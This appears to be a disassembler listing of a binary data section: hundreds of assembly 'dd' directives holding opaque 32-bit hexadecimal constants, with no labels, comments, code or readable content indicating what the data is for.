		dd 5899867Fh, 0AA070C63h, 63EB56C8h, 0B7C87226h, 735A1B50h
		dd 43708CCh, 0E2C2CB62h, 24F8BC7Dh, 0C3402813h,	12B5C534h
		dd 0C8862C9Ah, 7E0009F4h, 774BF6E1h, 3DFAEDC4h,	0CFA792Ah
		dd 6A9F94Eh, 7C402B71h,	0C98D22A4h, 8C773E12h, 4FBB9C04h
		dd 398C3012h, 620FEB02h, 0EFD38A87h, 0EAA9E0F2h, 71DDC9Ah
		dd 72603EDh, 5876E6F1h,	90B2FE27h, 0AF4EFCh, 0BE978CD9h
		dd 79924401h, 0D5077417h, 60C4C8h, 8EAD76E6h, 0BF41F42Bh
		dd 45001670h, 0FC4B938Bh, 1D70F95Dh, 9377449Fh,	0AC401F54h
		dd 76E6090h, 0F0024E59h, 0B6D89116h, 0F80516Ch,	0F1C026A4h
		dd 7315E3B2h, 2F057CBEh, 0B4D24490h, 0D610604Dh, 49228469h
		dd 40BC9C40h, 0BDF3B9CBh
		dd 87513324h, 5091F700h, 2017D74h, 0DA4CC29Fh, 9068E14Eh
		dd 252CFF1Eh, 7E409851h, 0D633BCh, 174BC17Bh, 0F0D9E36Ch
		dd 2DA42800h, 26C80349h, 5C6F76D3h, 5389FCC3h, 8A388048h
		dd 4B9E90Fh, 0B8539334h, 7F6390C8h, 392A7ED6h, 762CD03Fh
		dd 0BAF2051Dh, 0AC0CC456h, 80558E3Ch, 7A8C4859h, 0CECB5FFFh
		dd 3A2114A0h, 74600E94h, 33C99C0Ah, 7C64002Fh, 25C78927h
		dd 4498C378h, 7A481F29h, 74204B00h, 0A749A3h, 6F5E16CBh
		dd 0ED230919h, 0CA4D8114h, 9B40DE60h, 0C4BC74BAh, 29F801D4h
		dd 0E61C8199h, 8D02E4Bh, 2807D82Eh, 19E895F7h, 7060D7C9h
		dd 1ECCF0A7h, 4800C695h, 968B6837h, 55448864h, 75210004h
		dd 0E6B4A3C2h, 29393525h, 0A188F22h, 4A54A53Dh,	72C0BC27h
		dd 649BDCB8h, 4B7A182Fh, 705A12h, 98BAF7E8h, 0FC3C239Ch
		dd 5362351Eh, 72A484A5h, 0E363405Dh, 19079266h,	41127A11h
		dd 0C942B300h, 94B75E98h, 23048402h, 40F0E264h,	0D040AFD8h
		dd 78122478h, 8018A8D5h, 199E22AAh, 99B4F0EDh, 0A32C3844h
		dd 0D90C00ADh, 880EE633h, 0D800FEFCh, 5DE821Ch,	4C422A4Bh
		dd 0FA250028h, 0A980C8C4h, 910098F0h, 5AED4AD0h, 252B0374h
		dd 0DC816B14h, 680D38F7h, 0C6A4C008h, 9E53Ch, 8DEAAB36h
		dd 14C8339Bh, 0C70B490h, 2F4B0703h, 0C84826CAh,	390DDFFDh
		dd 529140FBh, 0DB2C0F7Dh, 33FC6029h, 12A1F58h, 3FCFEE5Dh
		dd 200DCB72h, 9F1CF87Ah, 56ECD591h, 78884A13h, 0CA70117h
		dd 9DA28E4h, 80A07814h,	1ED7E37Bh, 763E01ADh, 0D999ED6Dh
		dd 74056B66h, 84E1FE47h, 0A8017823h, 818B7157h,	8885E809h
		dd 0A828703h, 8835FDEBh, 3C92DDC1h, 8E809DCCh, 856F256Ah
		dd 0FA0CC82Dh, 28B838DEh, 7C6BF490h, 74F06CAh, 41C4B206h
		dd 0E3BEEB01h, 5A6C82B3h, 1CEEB8E4h, 0F78F04F8h, 32F08320h
		dd 7FD081Ch, 1DBC3441h,	0E1F07F82h, 46700084h, 0AFC222EDh
		dd 3D002389h, 0BAC935F6h, 3A55E0h, 225BE542h, 0B24162ADh
		dd 3740A51Dh, 0F8E9782Fh, 0A3E001DDh, 0DA618E11h, 0F8CA20ECh
		dd 0F4681D03h, 3E90A06h, 39D8B6A9h, 8E0B776h, 0A5072215h
		dd 0F247C1BDh, 81FF4964h, 87512D0Dh, 0A7313030h, 29B8004Eh
		dd 0D4B240h, 799A800Eh,	57C211C0h, 0DA886F1Fh, 7A661Fh
		dd 99277FFh, 6EA9133h, 0B30CD016h, 6F60081Eh, 3305DF21h
		dd 4FF200BAh, 7196C6FBh, 6A001E0Bh, 0AA1F722Fh,	0A1C1B5h
		dd 939B3242h, 8D91DA31h, 0A50DAF01h, 969EB2Fh, 325130B0h
		dd 0B97AFC18h, 0FA11DE60h, 15433C9h, 0E4AA0B8h,	0D16CB05Dh
		dd 742180CBh, 40F833CEh, 0BAF502FEh, 0E6154462h, 43465A60h
		dd 92D942C0h, 6F40C6h, 0D94DA1Bh, 0E502ED7Ah, 24073106h
		dd 803273h, 9F9E5557h, 0F3FE85C5h, 8CD8E33h, 0A8210078h
		dd 0B87A9E3Ch, 0E8F94BB6h, 4054CEF6h, 0F918FA9Ch, 0E910DD2Eh
		dd 1A1B079Ah, 3448FD6h,	9C90124Ah, 0FB00CFDBh, 0AB888E18h
		dd 693183h, 773D300Ch, 87CE8C1Eh, 5528D700h, 880F6BEAh
		dd 4BDF00A6h, 0D8A85C65h, 0F51C110Ch, 7C9815h, 0BA1D57EBh
		dd 0E4A525h, 29BFCD2Ah,	1FB6019h, 0C5F4B200h, 0D3B36312h
		dd 0F2330097h, 18D80A87h, 49006975h, 680C06D7h,	0F85801h
		dd 4CC47E73h, 0A197A7ADh, 0CE261703h, 0B809D312h, 812528C1h
		dd 0C3044B35h, 0F3C293h, 3E4BDA48h, 7A1A0F16h, 34B0BE07h
		dd 4D8089CDh, 78B9320h,	0DAE081F5h, 281526CFh, 2E110E42h
		dd 0E82711A7h, 11D8AC11h, 0F011BDB2h, 28832879h, 29C83C90h
		dd 0CB7F85A6h, 0B88EC03Dh, 0D00E22Fh, 549852EFh, 6F17D7h
		dd 37FE01F7h, 0BF236A09h, 86A9A807h, 0AEC18E2Eh, 0D5D82A62h
		dd 0F9510098h, 1697A619h, 3900D01Dh, 49F425EFh,	730F14BCh
		dd 41CA0017h, 35797229h, 0DD016611h, 0FDCCD69Ch, 7F07D10h
		dd 465009Ah, 0C9F2BC1h,	45005DDCh, 4B329584h, 30B70B2h
		dd 37C2CE34h, 1100B4A5h, 6FFB14AEh, 6DDF2Bh, 0F1CB3BC3h
		dd 0FE124003h, 7F225A00h, 9CBE88DBh, 6ED239ADh,	0ACE49E98h
		dd 3301EA95h, 81AFF4FFh, 98FBE62Eh, 39DDB556h, 7BBE42D5h
		dd 0E46AAAh, 0A6FBEDD2h, 0D6B997A5h, 2E9B7800h,	0CA4ED913h
		dd 7CAD0646h, 98101CECh, 0B4075BFAh, 0BBCF7AE8h, 0B58F5290h
		dd 5F2C0E45h, 8D4084BAh, 0CA867BDAh, 0E8ADCC00h, 2C01234Bh
		dd 0D970C018h, 0BF6BAB74h, 0E0D26900h, 0B1EEFCE7h, 5CA6009Fh
		dd 50165FDCh, 38006D45h, 0E1C7EFB6h, 4BC30Eh, 0BC014885h
		dd 34121842h, 0B8F7AF00h, 31A923DEh, 646000BDh,	59DF9CE4h
		dd 0AA060B61h, 0B63B99C0h, 0A8BC00B8h, 0D196DE76h, 311D1F47h
		dd 0AC0977B4h, 0ADE700EEh, 0D51152h, 84CD9BFCh,	39A649DBh
		dd 0D4C9FE0Eh, 18FD20CBh, 14AA05h, 0F52BBBB7h, 49EDB870h
		dd 0F9214160h, 1374A3h,	9D472173h, 569C88C0h, 3BCA7020h
		dd 3E000FAAh, 3B66CECCh, 7B1FEC0Dh, 3F00A849h, 0BD34B875h
		dd 6A700B5h, 82A6456Ch,	170F4DEAh, 2069E7D5h, 0D1A84A87h
		dd 12CD00D0h, 0FC1C33B0h, 0C6072279h, 0B29443EFh, 4E4A15C0h
		dd 8CB0ED6h, 0C1E0BE04h, 0C6A2F0F5h, 6AC28E01h,	237973CEh
		dd 0BB33D4h, 1B4F97F2h,	1E2613A8h, 53839B01h, 0E9A7E740h
		dd 7DDC0170h, 96E50021h, 0D488064Ah, 0A109AE58h, 7478C14h
		dd 8E64C3BBh, 9DD01890h, 9B8800FFh, 9E754187h, 3F009984h
		dd 0EE4AB447h, 59A8D3h,	0BC956E3Ah, 0D503EC5Bh,	995A7103h
		dd 90E57064h, 28B3E7C3h, 58FD06E3h, 4F302F2Ch, 0E45BD640h
		dd 0B01240FEh, 5800E10Ah, 0F495C0B8h, 0DB090038h, 79ABEB66h
		dd 0E0600E8Bh, 11824320h, 74E013Ah, 90CE7B62h, 498420E5h
		dd 775CBB44h, 0D0EC00E7h, 0B80EFB76h, 32017042h, 6D1F695Eh
		dd 0EC24A36Bh, 12C3013Eh, 0FA81A5B1h, 518C53DAh, 0FD8E8BC9h
		dd 55109FE2h, 757B0602h, 9AC301E6h, 1728C47Fh, 0B2AACB28h
		dd 6B1E9801h, 3F1D1B4Bh, 7A7205E0h, 0F8409FEAh,	5D243837h
		dd 2D146074h, 4A3A00F2h, 0B630D2B4h, 0F4DC0191h, 3B8E8B1h
		dd 93E882E9h, 0E04EE0A3h, 0F702CB4h, 0CFAF4A95h, 0CCBD7D80h
		dd 8A001582h, 1442A2DAh, 6A57F5h, 87A985E4h, 61E7C167h
		dd 43277E00h, 0D8A6CF49h, 91FCFD44h, 0CE4E09F5h, 4C007D15h
		dd 0DEFB99F1h, 52E61102h, 40FCEA0Ah, 164FB850h,	1C204163h
		dd 4C5DC010h, 3631F66Ch, 0EB73DE00h, 994582E2h,	0EA4397BDh
		dd 0B07A7198h, 170EB570h, 6052FE9Fh, 5EC6A33Eh,	660001Ah
		dd 88A04122h, 544821D8h, 4730050h, 0B9A7E22Dh, 0DEAC041Bh
		dd 0C0E12494h, 0FB0615CCh, 0E39E6200h, 58B10371h, 0C6CF0016h
		dd 3BDA3D8Ch, 320F7ECCh, 800D26C7h, 1AF02820h, 6FA80765h
		dd 0D07BA75Bh, 0DE4DC122h, 0EE5C5913h, 4041BF00h, 0C44BEBh
		dd 0A9423911h, 1B88E505h, 53AECC26h, 0D9B47900h, 0B67376h
		dd 7030DC3Ah, 12DE817h,	683BC87Fh, 0F3AF04A5h, 0C98160C2h
		dd 302131A7h, 0CBC58600h, 0BD8900A5h, 36C820EFh, 0C3036A19h
		dd 0AC162E95h, 228FE80Eh, 5D1300F0h, 7AC4528Eh,	691DEDCCh
		dd 0BA86B74Ch, 738E4C8h, 934F9933h, 84157053h, 4007D9Fh
		dd 0B0FB2F1Eh, 7A92C9h,	8317669h, 9C8647C6h, 0BC0F7C00h
		dd 0DA51FDA3h, 4A7528D1h, 0FB0300BDh, 7FAB5CBDh, 0C0E1827h
		dd 0E057D380h, 5A55BE0Fh, 0C21F3F61h, 0D726B180h, 8CE5F38Fh
		dd 3445F70Eh, 9C092FBEh, 604EE680h, 31D1569h, 0D02C7816h
		dd 81C0B3DBh, 0A3013DC9h
		dd 0D7316372h, 788020A7h, 37239D4Dh, 7103D995h,	65929915h
		dd 0B880390Fh, 0AF1EA680h, 46318A83h, 246069E0h, 0F59C7D38h
		dd 5DD3008Fh, 25DCE9EAh, 0A709CF55h, 570CF3BCh,	733C1780h
		dd 0CA3A1BD3h, 4B5B0083h, 7127B2CBh, 0F3BE01BCh, 9A494475h
		dd 86296076h, 0C4B7F512h, 0EB16C09h, 0AF6B0034h, 0E64D87h
		dd 0E2116664h, 1DC992C4h, 126A3312h, 5D76DC04h,	846DBFC0h
		dd 93A437CBh, 2E407019h, 0F3011F08h, 0EFCCE946h, 0A6EC8C6Ah
		dd 6C430079h, 64EC181Eh, 6DEAA5B2h, 80A810C0h, 103FA28h
		dd 92A9AABFh, 0E0E9FD31h, 4605B9E4h, 392DC9BAh,	71CAE080h
		dd 0BEE207DFh, 60E12921h, 6795EA92h, 6FC3AD07h,	0F9603B64h
		dd 1852C0h, 912E9C11h, 9672D41Fh, 98864B00h, 0A8A7CC8Eh
		dd 0A1140090h, 46533448h, 7AFC94C8h, 103B7C31h,	1BE752BCh
		dd 398F1651h, 0E0F76A89h, 2D3D40FDh, 0C9060061h, 0E2FEF659h
		dd 5C3F0094h, 7151B7D7h, 720BDA68h, 0CA4BAAh, 0D2B9D4E6h
		dd 0B8225060h, 8F991D4Ch, 0AA484319h, 80ED9FCBh, 0C225516Ch
		dd 84245300h, 5DD60AFAh, 0B677445Ah, 2AB4EB00h,	96DD7F8Dh
		dd 0A53E011Bh, 0F80494C3h, 4F243051h, 0EA642000h, 42CA96FBh
		dd 71DD02A1h, 5FE1D7C6h, 208DE0C0h, 0FC8648h, 0B2E0B353h
		dd 9DE835h, 42B409DEh, 0DDA0518Ah, 4834001h, 95E4D9A5h
		dd 7375460h, 423EB652h,	4E6A5016h, 2017FBDh, 0CE48C7E8h
		dd 0C4E03263h, 2DF200DCh, 4603060Ch, 5E0EFDCDh,	96B37423h
		dd 9033D80Bh, 504C868h,	896CB0CEh, 11A8D2B6h, 0E66098C0h
		dd 78EE5502h, 0C85DEF3Bh, 0B530154h, 0B066093Eh, 0B8D0EC20h
		dd 4290E00Fh, 0EE7C3900h, 0F8F381E3h, 7EE60067h, 0E3FB8A7h
		dd 0D5007F76h, 0D249FA1Ch, 38E3E4h, 0D9A8BBBFh,	0B7CF3512h
		dd 63ED8D16h, 5F80541Dh, 0A468A2CEh, 0FF660306h, 0C49171C7h
		dd 2FEFFDE0h, 1679D600h, 0C1531E5Eh, 0EE7A0ED5h, 5400822h
		dd 0F4677668h, 39D07300h, 0DD71B43Fh, 18A998BDh, 18602058h
		dd 0A90174F0h, 0FF62A41h, 0C0EC48D1h, 0F8BF608Fh, 0B3755E3Bh
		dd 27A59500h, 1956E58Eh, 4D7A3CA0h, 4B266A80h, 0E62FE979h
		dd 3343CB07h, 9EE1C004h, 2CC43408h, 0FFE0026Fh,	5A746473h
		dd 65754DE0h, 0B4A8DB76h, 0AB00770Bh, 0AF3F286Bh, 0AA8247h
		dd 0B29833F1h, 0E422EF20h, 0DB763800h, 2D5AE373h, 40AE0006h
		dd 0B847D404h, 9B1F7B55h, 803B3E08h, 1E3A6418h,	0CE9239h
		dd 0E340DF87h, 0BA4BEA7Dh, 3037CA0Eh, 0AD8DC0F4h, 90CBD93Bh
		dd 0DE4F2984h, 11E2098Ch, 0C29E2480h, 0EA1EA4F5h, 84C01A41h
		dd 7E0EF3A0h, 0A8B40112h, 20DB883Bh, 131070C3h,	3800E7EAh
		dd 561D5914h, 0B82D635Ah, 40D82284h, 70E2ED26h,	28C20900h
		dd 3C06E15h, 7E473276h,	8A933B25h, 1D7AAAE8h, 5F81AD04h
		dd 51806BF0h, 7887558h,	28BEA647h, 93D17314h, 9540BCB2h
		dd 57058F65h, 0A7C01AC6h, 1BC781FEh, 0BB3080EAh, 0E2BFE8FBh
		dd 15812E40h, 0D500BD78h, 5F0EE060h, 7100042Ch,	65284BC4h
		dd 2939BFh, 0D45033Fh, 31A83705h, 604ADE4h, 0DCBC2CCDh
		dd 0F7435480h, 21491709h, 0FA5840D1h, 0C348A7EEh, 9B3C5BFCh
		dd 2D23801Dh, 0FCB32F65h, 3285014Dh, 66AA15C2h,	996ED4CEh
		dd 45FD5501h, 7402BBA2h, 24B4820h, 0C849E8F8h, 0B848CAFBh
		dd 9C0EB0E5h, 9ACD5Ah, 0C2BA3ED0h, 30EB25DDh, 0FEA74C20h
		dd 44002F13h, 0A239EA10h, 0A0B9B6h, 8FCAD0A3h, 3507C4Eh
		dd 0E726C0FAh, 9F008A3Fh, 0E5FB5BEFh, 4D9E0118h, 0F2F1A9ADh
		dd 0F71060B4h, 863AF5F2h, 3B1B9285h, 0F9913400h, 0C21A9947h
		dd 0A28B711h, 61F7C080h, 951C8D6Dh, 48406036h, 30A5395Ah
		dd 9DE200C5h, 46A2F4FFh, 7BEAEF32h, 65BF25h, 31D24868h
		dd 0F9849209h, 0DE003C72h, 87CDC184h, 8F04F257h, 0DAEEE858h
		dd 555C3880h, 35E318F3h, 0EC7C10D7h, 3C37F01h, 64AAA08Dh
		dd 586718E8h, 460791E7h, 96322292h, 282E4198h, 0B04081Dh
		dd 6FC05F7Bh, 1C6561E6h, 448F3827h, 921A8CAEh, 0E460E85Ch
		dd 122874D2h, 8902C8FFh, 0A3B05732h, 6980483Dh,	0D19F39C2h
		dd 617403CEh, 0DCF0FB79h, 650C6075h, 501520E1h,	59549CF9h
		dd 94A5F4A1h, 177DC81Eh, 1D0294A4h, 408AF44Fh, 1675DD64h
		dd 0EE94D4E1h, 0FCB4FB00h, 78836ADCh, 2CD10053h, 82F7C8FAh
		dd 0CF1DAF47h, 9890A6Eh, 69180BEh, 17EC4BE4h, 40884D69h
		dd 795D72Ch, 0E4A02A8Fh, 1A0FCAA2h, 0A0EE0840h,	74993D49h
		dd 44C03C58h, 24E92687h, 0E298D01Eh, 1202227Bh,	14E659EBh
		dd 2AD46980h, 46110E1h,	0EB3898FBh, 0BAA705E2h,	2B1856h
		dd 0B77872A4h, 0E94920B3h, 0EB370088h, 26C496Ah, 48A3EAD7h
		dd 0A5000F6Fh, 2ADB7A8Ah, 0BE054137h, 538E1DF7h, 5CF09C00h
		dd 565243Ah, 5135AFCAh,	0B8B780CBh, 6202ED98h, 0DF093F32h
		dd 0F5BDE070h, 9D0F0E5h, 226B4144h, 0C00749Ch, 3748AA2Bh
		dd 0A29402Ah, 0B7E9DFEFh, 6EF800E4h, 0C6D7CA24h, 0DAF51090h
		dd 805250D0h, 0DED01E4h, 18080ABCh, 0AC52C3F9h,	0ACDC88BEh
		dd 5D802D00h, 186E74E4h, 280904FFh, 700CF2DEh, 103C19EDh
		dd 81C2032Fh, 0FC9D463Dh, 7310D4A0h, 27DFBE00h,	9076E67Bh
		dd 41D3000Ch, 0D4D08B4Ah, 0E0FA78A3h, 0FA5A1A3Dh, 0A58D70C0h
		dd 0C035B17Fh, 68579B36h, 0E0EAC453h, 8DF05D60h, 175AE483h
		dd 9ACC5ECh, 102064C8h,	6687D648h, 9F28A965h, 2F0C8080h
		dd 0AD0500FBh, 0EB62FDFEh, 3048E0BCh, 731300DCh, 19A8679h
		dd 8B4700FAh, 9E52A2D6h, 0D225DF29h, 3676A5h, 4B9BC205h
		dd 9C288E18h, 2303A0FDh, 7BC2843h, 7273F0B2h, 440E00DAh
		dd 0FB6222A8h, 9D004DF4h, 4A490DC0h, 39FDFA10h,	850292A2h
		dd 61AEB9CAh, 19364660h, 1B426404h, 0A0C0A660h,	4695156Bh
		dd 4324504Bh, 6E0D8000h, 4F830AC6h, 0C49C0Fh, 5E7F60F5h
		dd 56034D9Fh, 0B7EDF48Ah, 1230D7A8h, 0C09B2FE6h, 3A639EDAh
		dd 0E0A8D713h, 5A0F7033h, 278C1F19h, 0C9D7EB6Dh, 6B349DF0h
		dd 0AF25241Eh, 140E2CD8h, 7E0798BEh, 0D0432DE0h, 0E616B46Dh
		dd 5441B300h, 0EBF31727h, 469B011Fh, 9568F2DFh,	4DCAF879h
		dd 25E58200h, 0CCCB521Bh, 0F68900E1h, 5994ACCFh, 0C8B15804h
		dd 57A2DB80h, 1C9C354h,	0D8EEB27Ah, 406B4278h, 3BF2BE8Ch
		dd 5B792B01h, 8A1ACD9h,	0F192B6ECh, 3E8AC030h, 38FC502Eh
		dd 3FBF65FDh, 0C4009B3Fh, 15D78218h, 78002529h,	4A8451FBh
		dd 0ECC0BECBh, 6390007Ah, 3E30B5CEh, 0A11E88C4h, 18941FAh
		dd 356C605Dh, 620F0060h, 6BB44E7h, 70019B9h, 65D7AC1Ah
		dd 98238FFFh, 906000F1h, 9B5552BEh, 3600ADE7h, 9194B40h
		dd 9C6DA86Ch, 53CA00F8h, 7A169244h, 803AC801h, 190EA652h
		dd 797D834h, 155211Ah, 8E75109h, 817470BEh, 0E5C7D106h
		dd 0F028A630h, 0E5C27801h, 61D8FEC0h, 594E20BFh, 0B9120029h
		dd 2576FE6Ch, 500FE1B2h, 1D819E80h, 3A1C9D6Eh, 96C02070h
		dd 6FD2169h, 5C7D2A09h,	0D1340820h, 93C36439h, 0E081B1D3h
		dd 721D70h, 0C6ECEA0Eh,	0E2280F15h, 9E00B2F8h, 1E2FCAFFh
		dd 0A75453h, 2E1CD1A8h,	3C0DCC7Eh, 3570F700h, 98A06CFDh
		dd 4BCF0FCAh, 3EA70AA4h, 934940BBh, 0DFFEA7DEh,	6A0EF407h
		dd 73073634h, 433D060h,	0CCE8BDh, 0D4EF93F8h, 0D80B7CECh
		dd 8036BA00h, 0F99D586Bh, 8677A9h, 0C134FF99h, 621D014Ch
		dd 0D310B00h, 90754D4Eh
		dd 6D1E0048h, 2DB36543h, 5007BEFh, 0BE309D20h, 92CF1A16h
		dd 2C5E0500h, 0E2260760h, 0FBA184F8h, 9D44A0h, 0FC4D3AC2h
		dd 2DD096B7h, 0EDF5B80Ah, 0A100D009h, 43E461C4h, 0C837F09Dh
		dd 79809A29h, 3240BAF0h, 42D9007Ah, 0B008E424h,	0F11EA0A6h
		dd 2D81AC39h, 3CB43ECCh, 72F552DCh, 0E2D8985Bh,	2ADA00A4h
		dd 386DC973h, 2800F168h, 0C4254A1Fh, 710C7A34h,	0CAC54C3Ch
		dd 8D59B800h, 74B1B62Bh, 0CA703800h, 9F33F09Bh,	3B213AFAh
		dd 8FF68783h, 62EBF5CEh, 0C8D5E288h, 0D6835F00h, 93F76068h
		dd 0EFF20044h, 0BE0AB0A5h, 5918C8CEh, 0C510B951h, 78800B75h
		dd 778C9447h, 5E00D938h, 0DA3FBA3Ch, 54E88F5Ah,	0FE199C2Eh
		dd 5AE001Fh, 9680EDC5h,	0E30EBCFh, 0F29DA866h, 0B67A3C97h
		dd 0B172380Fh, 115F8F80h, 8900A633h, 4175A7EEh,	0FF3D9E9h
		dd 0EDBE8D8h, 0F180B0A9h, 65F6EC45h, 95511C13h,	6BB500EEh
		dd 690AAFF2h, 0F55E3900h, 21370C0Fh, 244E0038h,	812FBEE5h
		dd 33786E8Eh, 91654700h, 31FD22F8h, 4DEE0021h, 542CA7DAh
		dd 4A00E292h, 0B0E54E64h, 21A46E4h, 6D0CBE45h, 9CC05CC8h
		dd 0D9004DE1h, 0C471B6F6h, 9A8899h, 8E8A3EA0h, 0DDCB808Ch
		dd 0DA0005E4h, 0DB1684C0h, 4D53F1h, 43711812h, 0BB88D120h
		dd 0CD03400h, 4C1CBC4Fh, 0C82C0EA6h, 0DB603930h, 32773AC3h
		dd 0A9D948h, 16A6D746h,	0E0B02BA7h, 688B069Ch, 14261B40h
		dd 0DECE4B06h, 650DFA6h, 39D347A2h, 69001183h, 12C855Eh
		dd 398DB68h, 0F95B5A5h,	3489DCECh, 0D92980CBh, 0DE7343A6h
		dd 525001A5h, 9A517D66h, 0ED804047h, 0DD00DC48h, 57C26265h
		dd 0F12B76h, 0E5081946h, 90ABF1Fh, 4B3911F4h, 3852E5Dh
		dd 5B970200h, 0CAD576h,	0C00A9992h, 380856A0h, 78D7B430h
		dd 0CD9C3Ch, 741798D9h,	0D630196Ah, 0BE7AAF00h,	2F85E12h
		dd 11C1605Ch, 4B25152Bh, 1B4CDC00h, 0BF8876CDh,	0F559000Ch
		dd 58B8EC9Eh, 0B072C70Ah, 89061274h, 0DE740498h, 27A70D58h
		dd 0F086059Ch, 0B370AC73h, 619E9503h, 8815EE3Fh, 0C1A4ABE9h
		dd 9F32DB10h, 0CBE14070h, 401AB107h, 23884258h,	80289758h
		dd 95F9AD8h, 0D2A0A101h, 69706000h, 7A6036E4h, 29D8E611h
		dd 575D00B1h, 0C3EBAACBh, 0CA002FD3h, 68DA26B3h, 3319B65Ch
		dd 42D0C2DDh, 0BB672DF8h, 0F3DB1E00h, 7EA633Ah,	5B9403DCh
		dd 50E6F905h, 0C470DAE0h, 0F74C6903h, 0E859B664h, 0FAA26Dh
		dd 781D473h, 3E63EFDFh,	6FFD6E09h, 9EBC0022h, 0BF1A35h
		dd 856D4081h, 418CFE83h, 807F583Ch, 1F05BBB3h, 3E1755DAh
		dd 3580728Fh, 0C984BC12h, 0F20032F6h, 0DFAA3D65h, 0A68EB1h
		dd 9B06C34h, 0A1D10BC6h, 970F73E4h, 0A0429F48h,	0BB190AFAh
		dd 0A48D0023h, 1A26E109h, 527584F4h, 0CF0F3C12h, 4C113440h
		dd 12839E0h, 4A431656h,	6072041Fh, 8B3D2EDEh, 6700F652h
		dd 0F099AFB4h, 8D9EDEh,	0B28FD301h, 0A5D679B7h,	0B4044990h
		dd 0A0D73D92h, 0D870B490h, 27A60110h, 783B9304h, 47042431h
		dd 5D0F1AFAh, 0EE0B13D9h, 9FE000B8h, 13D7F610h,	9BEC44h
		dd 353022DBh, 481F602Ah, 0BF454B15h, 0A801B5E4h, 69EBEAF8h
		dd 5F30D20h, 425F4A52h,	0D65B80E6h, 0AB6E7713h,	807DCF28h
		dd 0E59BF7D9h, 36AF4C05h, 0B2B40078h, 79E053E6h, 66136D6Bh
		dd 0AEDB15h, 1033858Eh,	0FA00E6D5h, 910FD0D7h, 1DBAC4Ch
		dd 2E54C93Ch, 0D08D72F8h, 9E0112AEh, 0BF240ECFh, 0FDC0DB42h
		dd 11B84C63h, 0A7DF3503h, 1000629Dh, 0FB33E8B4h, 6927B6h
		dd 89CF9B0Ch, 5EB558C5h, 6F19E300h, 7D7C495Bh, 0F8F07B53h
		dd 0C44D502Eh, 0B8CE00BBh, 911E0AA2h, 0D600522Bh, 39D2F07Ch
		dd 1460DBh, 5867B937h, 8F4EAEBDh, 614CF300h, 0D65A5C64h
		dd 0E36A0010h, 98C0520Fh, 31EEFBC2h, 8F100863h,	389F902Bh
		dd 7B801EF5h, 3E6944DEh, 79AD8012h, 910071CFh, 0D8D6FC30h
		dd 7B04E1h, 6B503362h, 66434A42h, 57005275h, 874D1932h
		dd 0A5A929h, 0BAFB128Eh, 4E70845h, 4840AC3Dh, 72761E0Ch
		dd 69EC9AC1h, 9FDC7487h, 12C100ADh, 75B27C43h, 0B700DB0Ah
		dd 5D363F9Bh, 0C0171F30h, 59C05640h, 0C80ED8E5h, 8FC21348h
		dd 5A6160F5h, 6896F0Dh,	6D857755h, 20013079h, 84C1F3C5h
		dd 0E230F850h, 275404AFh, 0C02EFFB1h, 2F0A4BE9h, 13BB7300h
		dd 9A2D897Fh, 0F367070Dh, 0F1E00431h, 47712566h, 9B2B3B8h
		dd 4B3846D0h, 0C1374E0Bh, 12C3803Ah, 0DBFBEh, 0F934A221h
		dd 64C7068Dh, 0FCEAF100h, 0D1DDC6D0h, 55320743h, 209B2804h
		dd 5124F46Eh, 94E6D60Ch, 95260CBh, 0D563DE4Bh, 0C3D88104h
		dd 279B44FBh, 7E78807Dh, 0B4098674h, 2063B656h,	0CBCCE004h
		dd 74B300F3h, 7753E983h, 110044F9h, 8A29964Fh, 0BADF30h
		dd 28A21D8Ch, 0DB4956B8h, 9C35E200h, 47ADE6D1h,	2CEF3E60h
		dd 403EA301h, 0C4B6AB44h, 100CE984h, 58E7FA18h,	63C00648h
		dd 0B0642123h, 1681D601h, 5BE7CE0Bh, 3B091040h,	5970AA0h
		dd 0A548007h, 81A45662h, 8BA0CBD5h, 88E880DDh, 7E800BF1h
		dd 0D9FD003Ch, 681DF264h, 0E000D8CBh, 60AB4825h, 0DA316Dh
		dd 98BFF41Fh, 0DD227FCCh, 15CA071Eh, 14058641h,	0F2E859E6h
		dd 0DC6100FFh, 0CB8C7367h, 0C500151Dh, 9255A026h, 180F56AAh
		dd 9962C4F7h, 16B84E04h, 1F6E5C00h, 533489AFh, 0B0E600B6h
		dd 526037BCh, 232E14ECh, 4D1F708Ch, 0B1ABD6C1h,	0DC50C6E8h
		dd 8D4132h, 0C16046C8h,	281E2B6Bh, 277F7B03h, 0B2C71757h
		dd 2444E3h, 88C614D2h, 45EEEC1Bh, 0C9494216h, 2732C201h
		dd 29876278h, 804AB163h, 0DB388DD5h, 0D133BE0Fh, 0A71F20C3h
		dd 0C34B6DCBh, 0E68ED681h, 6CDBD5E8h, 0A2F2E0B5h, 0C5501EB2h
		dd 29CDDB54h, 7633BFE0h, 96A0C60Fh, 0FD82C3B5h,	0E0B1C81Ch
		dd 2AC800E8h, 0C3DDD3FEh, 0D7182D28h, 7CF04EF5h, 8088787Eh
		dd 300BA86h, 0F60F5BDBh, 30E09BA8h, 8F2944C9h, 52140556h
		dd 383CEB36h, 0D9B005E2h, 0F4001204h, 8564ABE7h, 0A6B10011h
		dd 0C484D38Eh, 2E1FA47Dh, 50052FEh, 4A4B3F7Bh, 98BA00B3h
		dd 0B791F98Ch, 0F40043CCh, 9AC1DD4Ch, 53C806h, 978FB21Ch
		dd 7499EC32h, 89951E0Eh, 21B39C76h, 0C210FF54h,	72C5F62Ah
		dd 0CA8001F1h, 0FEC81534h, 8095D5E1h, 45653A58h, 71C009E6h
		dd 1A2106D5h, 48120274h, 52F1D300h, 0C76ABD1Bh,	251330A5h
		dd 0C8B8DF20h, 0E00D853Bh, 99152410h, 39F86058h, 29045DFCh
		dd 69BE8517h, 86619BCh,	430021F6h, 293A0444h, 3A3FD832h
		dd 8A000D90h, 52DD4FC0h, 40E85BAAh, 1DEFF400h, 641CAF58h
		dd 4F0B4C5Dh, 0C7DE0A00h, 0DB83F0DFh, 0FE8B8A0Fh, 506720ABh
		dd 0E8FBB3h, 881C352Fh,	0AC8A7BB1h, 55019B0Ch, 0A5ED11ECh
		dd 18FA6104h, 0C210800Eh, 0CAF1EE4Ah, 0FD881C4Ch, 0CCCB87B0h
		dd 0D5D0E0E3h, 0C4008908h, 979C0EC6h, 757701h, 3090091Eh
		dd 3C6F341Ch, 0E9C0431Dh, 918D82BAh, 61F3FD79h,	32202E0Bh
		dd 6D400B6h, 96B872E2h,	6A051C58h, 0FF8F5176h, 5F2341C7h
		dd 5BC7A0A2h, 10C06063h, 0A59A70AFh, 28ECDC26h,	4F92D203h
		dd 514E906Ch, 268D0090h, 7AA5E666h, 8E0042CAh, 44A480ABh
